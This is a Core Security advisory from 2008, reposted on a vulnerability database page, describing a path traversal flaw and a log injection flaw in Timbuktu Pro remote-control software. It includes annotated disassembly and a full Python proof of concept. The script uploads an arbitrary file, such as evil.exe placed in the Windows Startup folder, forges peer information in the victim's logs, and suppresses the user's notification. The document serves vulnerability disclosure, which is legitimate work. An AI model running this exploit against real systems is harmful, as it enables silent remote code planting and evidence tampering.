Lucene search

K

Core Security Technologies Advisory 2008.0204

🗓️ 13 Mar 2008 00:00:00Reported by Core Security TechnologiesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 65 Views

Timbuktu Pro Remote Path Traversal and Log Injection Advisory 2008-0204 - Core Securit

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Code
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs  
  
Timbuktu Pro Remote Path Traversal and Log Injection  
  
  
*Advisory Information*  
  
Title: Timbuktu Pro Remote Path Traversal and Log Injection  
Advisory ID: CORE-2008-0204  
Advisory URL: http://www.coresecurity.com/?action=item&id=2166  
Date published: 2008-03-11  
Date of last update: 2008-03-11  
Vendors contacted: Motorola  
Release mode: Forced release  
  
  
*Vulnerability Information*  
  
Class: Remote Path Traversal  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: 28081   
CVE Name: CVE-2008-1117, CVE-2008-1118   
  
  
*Vulnerability Description*  
  
Timbuktu Pro [1] is a desktop-to-desktop remote control software for the  
Windows and Macintosh operating systems. The following vulnerabilities  
have been identified in Timbuktu Pro:  
  
1) File transfer directory traversal (CVE-2008-1117): The '\' and '/'  
are not properly sanitized when checking the destination filename. The  
problem resides in the Notes feature implemented by tb2ftp.dll loaded by  
the tb2pro.exe. This is the main issue.  
  
2) Log input manipulation (CVE-2008-1118): Several fields of the packet  
containing peer information (computer name, user name and IP address)  
are taken from the packet sent to the target and used to display this  
information on the screen of the target.  
  
The vulnerabilities discovered allow a remote attacker to upload a file  
to an arbitrary location on the victim's machine and forge peer  
information on the log lines of the victim's application. For example,  
an attacker could write an executable in a startup directory of the  
victim's machine and wait for the user to restart his/her machine.  
Another example is to write a fake system DLL in an existing program  
directory, inducing Windows to load this module instead of the real DLL  
from 'C:\WINDOWS\system32\'  
  
  
  
  
*Vulnerable Packages*  
  
. Timbuktu Pro 8.6.5 for Windows.  
. Timbuktu Pro 8.7 for Mac OS X may also be vulnerable.  
  
  
*Non-vulnerable Packages*  
  
  
  
*Vendor Information, Solutions and Workarounds*  
  
Contact the vendor for fix information.  
  
  
*Credits*  
  
This vulnerability was discovered and researched by Sebastian Muñiz from  
CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.  
  
  
*Technical Description / Proof of Concept Code*  
  
  
  
The most important bug is the directory traversal (1) bug for the Flash  
Notes feature of the Timbuktu Pro client.  
  
Timbuktu Pro is able to send Flash Notes (like an instant message) and  
attach files to those notes. Both the message (which will be written to  
a text file once received by the target) and the files attached to the  
note are transferred to a temporal folder on the target installation  
folder (default path is C:\Program Files\Timbuktu Pro\). The file  
transfer begins and it is unnoticed by the target user. Once the  
transfer is complete, the target user is shown a dialogue on the screen  
that displays the message with the names of the files attached.  
  
The user reads the message and he/she can decide whether or not to keep  
the uploaded files. If the user closes the message dialogue, the files  
are deleted from the temp folder; otherwise they are kept. The bug  
allows the attacker to upload a file to ANY location relative to the  
Timbuktu Pro installation folder with an attacker-selected filename for  
the target.  
  
Another very important thing is that when the files are stored outside  
the temporal folder, they are not deleted even if the user refuses to  
save the file.  
  
Additionally, the attacker can avoid displaying the dialogue that  
notifies the user about the message and the attached files making the  
attack invisible for the target.  
  
The other bug is a logging file content manipulation vulnerability  
allowing the attacker to use the data inside protocol's packet to  
disrupt the log file with control characters like '\n' and others. This  
bug is not very important alone, but could be combined with the  
traversal bug to cover tracks about the file upload inserting false log  
lines or control characters.  
  
In the following code the the program obtains the filename from the  
packet searching from right to left for the filename without the path  
following the last '\'. Then if a '\' character is found then it doesn't  
search for the character '/', making it possible to traverse the  
directories, sending a filename like '\../../../evil.exe'. In this  
example, the resulting filename extracted is '../../../evil.exe'.  
  
A dangerous possibility is writing an executable in a startup directory  
of the victim's machine and wait for the user to restart his/her  
machine. Another one is writing a fake system DLL in an existing program  
directory, inducing Windows to load this module instead of the real DLL  
from 'C:\WINDOWS\system32\'  
  
Disassembled vulnerable code follows, read the comments if you want to  
fully understand the bug:  
  
/-----------  
  
.text:6063A62E mov edx, [ebp+lp]  
.text:6063A631 mov eax, [edx+20h] ; Packet field containing filename  
.text:6063A634 push eax ; EAX is also the output buffer  
.text:6063A635 call ds:Pascal2C ; Extract filename from packet  
  
.text:6063A63B push '\' ; Char to filter in the filename  
.text:6063A63D mov ecx, [ebp+lp]  
.text:6063A640 mov edx, [ecx+20h]  
.text:6063A643 push edx ; Filename obtained in 0x6063A635  
.text:6063A644 call _strrchr ; Search for '\' in the filename  
.text:6063A649 add esp, 8 ; At this point, the pointer to the  
; position of the '\' is obtained and  
; will be stored in a local variable.  
  
.text:6063A64C mov [ebp+pSlashPosition], eax ; Store '\' pointer  
.text:6063A64F cmp [ebp+pSlashPosition], 0 ; This is the BUG !!!!  
.text:6063A653 jnz short loc_6063A669 ; It avoids checking '/' if  
; '\' was found, so we must  
; send '\' and then as much  
; "../" as we want :)  
  
.text:6063A655 push '/' ; This check won't be done  
.text:6063A657 mov eax, [ebp+lp] ; because the '\' was found  
.text:6063A65A mov ecx, [eax+20h]  
.text:6063A65D push ecx  
.text:6063A65E call _strrchr  
.text:6063A663 add esp, 8  
.text:6063A666 mov [ebp+pSlashPosition], eax  
  
.text:6063A669 loc_6063A669:  
.text:6063A669 cmp [ebp+pSlashPosition], 0 ; Check if a slash was   
;found so  
.text:6063A66D jz short loc_6063A68C ; it  
copies past it's ;position  
.text:6063A66F push 200h  
.text:6063A674 mov edx, [ebp+pSlashPosition]; Get the '\' position  
and move  
.text:6063A677 add edx, 1 ; forward 1 byte to avoid it  
.text:6063A67A push edx  
.text:6063A67B mov eax, [ebp+lp]  
.text:6063A67E add eax, 4B0h  
.text:6063A683 push eax  
.text:6063A684 call ds:lstrcpynA ; From know on, the filename  
.text:6063A68A jmp short loc_6063A6A ; contains something like  
; ../a.exe :)  
. . . . .  
  
- -----------/  
  
Proof of concept code follows. This PoC allows a remote attacker to  
upload a file to an arbitrary location on the victim's machine and forge  
peer information on the log lines of the victim's application.  
  
/-----------  
  
from sys import argv  
from socket import *  
from struct import pack  
  
#from utils import printFormatted  
#from time import sleep  
  
init_send_op_packet = ( '\x00\x01\x60\x00\x00\x52\x00\x25'  
'\x00\x22\x02\x01\x00\x04\x03\x07'  
'\x00\x05\x00\x01\x00\x00\x00\xf1'  
'\x06\x00\xf7\x76\xdd\x77\x00\x00'  
'\x00\x00\x08\x7c\x67\x60\x00\x00'  
'\x00\x00\x00\x00\x00\x00\x00\x00'  
'\x00\x00\x18\xf1\x06\x00\xd1\x90'  
'\xbc\x60\x38\xf1\x06\x00\x32\x94'  
'\xc1\x60\x50\x92\xc4\x60\x00\x00'  
'\x00\x00\x18\x92\xc4\x60\x2d\xbe'  
'\x80\x7c\x08\x7c\x67\x60\x20\x46'  
)  
  
second_send_op_packet = ( '\x00\x01\x61\x00\x00\x52\x00\x25'  
'\x00\x22\x02\x01\x00\x04\x03\x07'  
'\x00\x05\x00\x01\x10\x00\xe0\xf0'  
'\x06\x00\x51\x05\x91\x7c\x28\x09'  
'\x08\x00\x6d\x05\x91\x7c\x1c\xf1'  
'\x06\x00\x02\x00\x00\x00\x10\x00'  
'\x00\x00\xb8\xf5\xbe\x60\x00\x00'  
'\xac\x00\x00\x00\x00\x00\xbd\xf5'  
'\xbe\x60\x30\x90\xc4\x60\x07\x00'  
'\x00\x00\xd0\x13\x63\x60\x71\xfb'  
'\x90\x7c\x40\xf0\x06\x00\x0e\x00'  
)  
  
peer_info_exchange = ( '\x00\x01\x62\x00\x00\xb0\x00\x23'  
'\x07\x22\x03\x07\x70\x2c\xa5\x51'  
'\x4c\xca\xe3\xfb\x70\x2c\xa5\x51'  
'\x4c\xca\xe3\xfb\x00\x09'  
'%(user_name)s'  
'\x01\x97'  
'%(host_name)s'  
''  
'\x00\x00\x01\x02\x00\x04'  
'\xb1\x1c\x39\x51\x00\x00\x00\x00'  
'%(guest_ip_address)s'  
'\x00\x00\x00\x00\x00\x00'  
'\x00\x00\x00\x00\x00\x00'  
)  
  
ack_peer_info = '\xff'  
  
attach_info_packet = ('\xfb\x00\x00\x00\x00'  
'BINAmdos'  
'\xc2\x12\x49\xaf\xbd\x35\xac\x98'  
'\x00\x00\x00\x00'  
'%(attachment_length)s'  
'\x00\x00\x00\x00'  
'\xff\xff\xff\xff\x00\x00\x00\x00'  
'\x00\x00\x00\x00\x00\x00\x00\x00'  
'\x00\x00\x00\x00\x00\x00'  
'%(attachment_filename)s'  
)  
  
attach_info_ack1 = '\xf9\x00'  
  
# Transfer file content here !!!  
# \xF8 + 2 byte length + data  
  
attach_file_ack1 = '\xf7'  
  
attach_file_ack2 = '\xfa'  
  
  
class Tb2FileSender:  
'''  
Fake timbuktu client that implements the 'Notes' feature to send a  
message with a file attached to it.  
'''  
  
def __init__(self, target, fake_src_ip, fake_hostname,  
fake_username, dest_filename, file_content):  
'''  
Setup TCP Connection to standard port TCP/407  
'''  
self.sck = socket(AF_INET, SOCK_STREAM)  
self.sck.connect((target, 407))  
self.fake_src_ip = fake_src_ip  
self.fake_hostname = fake_hostname # Peer computer name  
self.fake_username = fake_username # Peer user name  
self.dest_filename = dest_filename # Destination filename  
including path (like ../../a.exe)  
self.file_content = file_content # Content of the  
destination file  
  
def sendAndRecv(self, packet, log, expected_response_length=0x500,  
print_response=False):  
self.sck.send(packet)  
if log:  
print '[-] %s' % log  
if expected_response_length > 0:  
resp = self.sck.recv(expected_response_length)  
if print_response:  
#printFormatted(resp)  
print '-' * 70 + '\n'  
return resp  
return None  
  
def getPascalString(self, str):  
'''  
Format the strings as 1 Byte Length + String.  
'''  
return pack('B', len(str)) + str  
  
def createFakePeerInfoPacket(self):  
'''  
Create a packet with forged guest information to avoid giving away  
real info in the log files.  
'''  
#  
# Ohhh... by the way, these two names goes diretly to the log  
file... ehehhee :)  
#  
guest_host_name = self.fake_hostname.replace('\\n', '\r\n')  
guest_user_name = self.fake_username.replace('\\n', '\r\n')  
  
username_max_len = 0x37 # This is not the application real  
limit,  
hostname_max_len = 0x3f # but it is the limit for this packet.  
  
host_name = self.getPascalString(guest_host_name)  
user_name = self.getPascalString(guest_user_name)  
  
# Pad the string to fill the empty space and avoid packet length  
recalculation  
host_name += ('\x00' * (hostname_max_len -  
len(guest_host_name)))  
user_name += ('\x00' * (username_max_len -  
len(guest_user_name)))  
  
guest_ip_address = self.fake_src_ip.split('.')  
guest_ip_address = pack('BBBB', int(guest_ip_address[0]),  
int(guest_ip_address[1]), int(guest_ip_address[2]),  
int(guest_ip_address[3]))  
  
return peer_info_exchange % vars()  
  
def getAttachContent(self):  
'''  
Retrieve the content of the local file and send it as the attach  
content.  
'''  
fd = open(self.file_content, 'rb')  
data = fd.read()  
fd.close()  
return data  
  
def send(self):  
'''  
Send a sequence of packet to upload our data to the filename and  
path  
specified by the user's parameters.  
'''  
  
# Begin protocol negotiation with the target  
self.sendAndRecv(init_send_op_packet, 'Note  
Operation initial packet sent.')  
self.sendAndRecv(second_send_op_packet, 'Note  
Operation negotiation packet sent.')  
  
# Send the packet with our fake info to fool the logs :)  
self.sendAndRecv(self.createFakePeerInfoPacket(), 'Peer info  
packet sent.')  
self.sendAndRecv(ack_peer_info, 'Ack peer  
info packet sent.')  
  
# Setup attachment packets that contain information about the  
file being transfered  
max_trx_chunk_size = 0x5B4  
trx_until_resync = 0x16C5  
  
payload = self.getAttachContent()  
payload_length = len(payload)  
attachment_length = pack('>L', payload_length)  
  
#  
# Send info about the attachment.  
#  
# The '\' character is nedded to bypass the application filter.  
# This is actually the Bug !  
attachment_filename = self.getPascalString('\\' +  
self.dest_filename.replace('\\', '/'))  
  
attach_info = attach_info_packet % vars()  
  
self.sendAndRecv(attach_info , 'Attachment info sent.')  
self.sendAndRecv(attach_info_ack1, 'Attachment intermediate  
info sent.')  
  
# Create a list with the chunks to send and prepare their  
headers is appropriate  
attachment_content = list()  
  
# We check if the data to send fits into one set of chunks.  
if payload_length < max_trx_chunk_size:  
attachment_content.append('\xF8' + pack('>H',  
payload_length) + payload)  
else:  
# If the data is bigger than one chunk, then send multiple  
chunks and their headers.  
curr_pos = 0 # keeps our current position into  
the data file content  
resync_chunk = True # flag to indicate if a new set of  
chunk should be set  
pos_in_chunk = 0 # keeps our position into the  
current chunk set  
do_recv = False # flag to indicate if recv is needed  
to receive target data  
  
while curr_pos <= payload_length:  
do_recv = False  
# Is this the last chunk ?  
if curr_pos > 0 and pos_in_chunk != trx_until_resync:  
# If it is the last chunk, then just set length to  
the rest of the data  
if trx_until_resync - pos_in_chunk < max_trx_chunk_size:  
chunk_length = trx_until_resync - pos_in_chunk  
do_recv = True  
else:  
# Otherwise, set the data length as usual  
because it's an intermediate chunk  
chunk_length = max_trx_chunk_size  
data = ''  
else:  
# Start a new set of chunks and check if this is not  
the last set  
# If it is, then don't set the maximun size, just  
the rest of the length.  
data = '\xF8' # Set the chunk set header  
if payload_length - curr_pos < trx_until_resync:  
chunk_length = payload_length - curr_pos  
data += pack('>H', chunk_length)  
else:  
# This is not the last chunk, so we set the  
maximun size and begin  
# it transmittion.  
chunk_length = max_trx_chunk_size  
data += pack('>H', trx_until_resync)  
pos_in_chunk = 0  
  
# Append the current chunk into a list to be sent later  
attachment_content.append((do_recv, data +  
payload[curr_pos : curr_pos + chunk_length]))  
curr_pos += chunk_length  
pos_in_chunk += chunk_length  
  
#  
# Send file content in small chunks  
#  
print '[-] Beginning file transfer... (this may take some time)'  
for chunk in attachment_content:  
if chunk[0]:  
do_recv = 0x500  
else:  
do_recv = 0  
self.sendAndRecv(chunk[1], '', do_recv)  
#sleep(0.5)  
print '[-] File transfer complete'  
  
# Send the final ACKs to allow the program to create the remote  
file.  
self.sendAndRecv(attach_file_ack1, 'Note body intermediate  
info sent.')  
self.sendAndRecv(attach_file_ack2, 'Note body intermediate  
info sent.')  
  
# Close the connection here to avoid the program displaying any  
message  
self.sck.close()  
return  
  
  
if __name__ == "__main__":  
if len(argv) != 7:  
print (r'\nUsage:\n\n%s <target> <fake_source_ip> <fake_hostname> '  
'<fake_username> <dest_filename_with_path>  
<file2upload>\n\n'  
'Example:\n\n'  
'%s victim.com 1.2.3.4 trust.com yourAdmin  
"..\..\..\Documents And Settings\All Users\Start  
Menu\Programs\Startup\evil.exe" c:\payload.exe'  
% (argv[0], argv[0])  
)  
else:  
target = argv[1]  
fake_src_ip = argv[2]  
fake_hostname = argv[3]  
fake_username = argv[4]  
dest_filename = argv[5]  
file_content = argv[6]  
  
tb2 = Tb2FileSender(target, fake_src_ip, fake_hostname,  
fake_username, dest_filename, file_content)  
tb2.send()  
  
- -----------/  
  
  
  
  
*Report Timeline*  
  
. 2008-02-07: Vendor is notified that a vulnerability was discovered  
and that an advisory draft is available.  
. 2008-02-07: Vendor acknowledges and requests the draft.  
. 2008-02-07: Core sends the draft, including PoC code.  
. 2008-02-08: Vendor acknowledges the draft.  
. 2008-02-19: Core requests update info on the vulnerability and text  
for the advisory section called "Vendor Information, Solutions and  
Workarounds".  
. 2008-02-20: Vendor acknowledges saying the vulnerability was  
reproduced and the estimated date March 4th should be met.  
. 2008-03-03: Core requests update info on the vulnerability and text  
for the advisory section called "Vendor Information, Solutions and  
Workarounds".  
. 2008-03-10: Core requests update info on the vulnerability and  
confirmation of findings regarding the same bug reported in August 2007.  
. 2008-03-10: Luigi Auriemma independently publishes an advisory  
describing the path traversal vulnerability [2].  
. 2008-03-11: Forced release of advisory CORE-2008-0204 since this  
vulnerability is already public.  
  
  
*References*  
  
[1] http://www.netopia.com/software/products/tb2/  
[2] http://archives.neohapsis.com/archives/fulldisclosure/2008-03/0176.html  
  
  
*About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs/.  
  
  
*About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
*Disclaimer*  
  
The contents of this advisory are copyright (c) 2008 Core Security  
Technologies and (c) 2008 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
*GPG/PGP Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.6 (MingW32)  
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org  
  
iD8DBQFH1u6uyNibggitWa0RAs8+AKCxP5NZJ0asbzMUJlqcibDdnY1WugCffMR+  
bP+jPN4q6etOT0uQrR97vnQ=  
=i7Dr  
-----END PGP SIGNATURE-----  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo